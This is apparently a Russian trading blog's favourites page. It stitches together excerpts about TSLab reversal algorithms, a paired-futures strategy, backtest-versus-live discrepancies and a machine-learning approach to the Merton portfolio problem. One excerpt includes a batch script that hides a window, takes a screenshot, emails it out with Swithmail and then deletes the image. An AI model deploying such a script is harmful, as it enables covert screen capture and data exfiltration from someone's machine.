Избранное трейдера ch5oh
Приветствуем Всех!
Кто торгует через TSLab, знают о ситуациях в «реверсных» алгоритмах, когда необходимо переворачивать позу. Сначала выставляется закрытие для текущей позиции, далее открытие для новой. В большинстве случаев, конечно это происходит крайне быстро и без проблемно, но любая транзакция имеет задержки, пусть 100-300мс но все же задержки есть. Этого не избежать в принципе никак. Но можно перестроить алгоритм, таким образом, чтобы вместо закрытий позиций, были просто «задвоеные» заявки. То есть получается, открыли лонг, далее например открываем шорт +1 к лонгу.
В итоге получим просто перевесы в размере позиции, то есть лонгов 144 шортов 145, в итоге текущая позиция просто 1лот шорт. Это слегка не привычно с точки зрения восприятия, но главное избегаем двух транзакций!
Скрипт построен на фьючерсе ртс, индикаторов в принципе нет, простенький паттерн используется для демонстрации системы.
Так выглядит график при таком «фокусе»
Доброго времени суток, зашедшие впервые и уже постоянные читатели нашего блога!
Многие трейдеры как опытные, так и начинающие проходят через определенный этап – пробы новых алгоритмов. А что если открыть шорт по ртс, а по сберу лонг? И закрыть позиции только в том случае, когда они обе дают нам плюс? Подобный пример мы и разберем в сегодняшней статье.
Итак, открываем позицию по РТС в лонг, если текущий бар выше, чем каждый из предыдущих 10 баров (пример без глубокого смысла, берем за отправную точку). Затем ставим тейк профит в размере 2,5% и стоп лосс 1% от цены входа. Логика агоритма достаточно проста и не содержит скрытых смыслов. Но если вы делаете более «умную» точку входа, то, теоритически, улучшаете показатели. Отрезок 2018 года был выбран нами специально, так как он практически весь был в боковике. При этом график дохода предсказуемо плох.
Всем добрый вечер!
В последнее время на форуме было опубликовано несколько статей по поводу тестирования алгоритмических стратегий, приблизительно следующего содержания — «На тестах все хорошо и алгоритм дает прибыль +100%, в реальной жизни все плохо — и алгоритм дает убытки -100%».В этом посте я попытаюсь вставить свои «пять копеек», почему так случается. С торговлей на бирже знаком с 1994 года. Не скажу, что весь этот опыт был удачный, скорее совсем наоборот и поэтому с 2016 года занимаюсь разработкой алгоритмических стратегий, ну или по простому — пишу торговый собственный робот. В реальных торгах участвую, но только с помощью собственного робота. Разработка роботов — это не бизнес, а скорее хобби, пишу для себя. Торгую на ММВБ через Quik. Робот написан на C#, для тестирования использовал данные с сайтов finam и pitrading (покупал).
Так как я сам разработчик кода, то мне легко внести небольшие коррекции в свой же алгоритм и провести небольшой эксперимент. Я взял исторические минутные данные (OHLC) по трем инструментам — Apple, AUD/USD и XAUG/ USD за последние 4 года и рассмотрел три варианта заключения сделок при тестировании:
Софт качается и exe-файлы кидаются в общем случае в c:\windows\system32@ echo off
nircmd.exe cmdwait 1000 win hide ititle «taskeng.exe»
nircmd.exe savescreenshot «C:\Screenshot.jpg»
Swithmail /S /XML «mail.xml»
nircmd.exe cmdwait 4000 filldelete «C:\Screenshot.jpg»
Данная статья ориентирована на тех, кто в поиске идей и готов пробовать что-то новое. Часть нашей аудитории уже регулярно следит за нами и использует ту информацию, которую мы даем для улучшения своей деятельности при помощи платформы TSLab. Наш блог ориентирован на интересующуюся аудиторию, которая готова получать те материалы, которыми мы делимся и внедрять её в работу, а не на «активную» часть, которая тратит свое время на комментарии и не интересуется смысловой частью.
Представленный алгоритм носит ознакомительный характер и является примером того, как с ним работать. Рассматривать данный пример будем на Фьючерсе РТС.
Основное содержание идеи:
На сайте arxiv.org, недвано была опубликованна интересная статья, посвященная выбору оптимального инвестиционного портфеля. Решение представлено в виде решения проблемы Мертона.
В данной статье рассматривается проблема Мертона, как инвестировать в безопасные активы и рискованные активы, чтобы максимизировать полезность инвестора, заданную инвестиционными возможностями, смоделированными с помощью вычислений для d-мерного состояния. Задача представлена уравнением в частных производных с оптимизирующим членом: уравнение Гамильтона – Якоби – Беллмана. Основная цель данной статьи — решить уравнения в частных производных, полученные из уравнений Гамильтона – Якоби – Беллмана, с помощью метода машинного обучения.
Алгоритм: метод Deep Galerkin, впервые предложенный Sirignano и Spiliopoulos (2018). Затем применили алгоритм, чтобы получить решение уравнения на основе некоторых настроек модели и сравнили полученное решение с решением полученное методом конечных разностей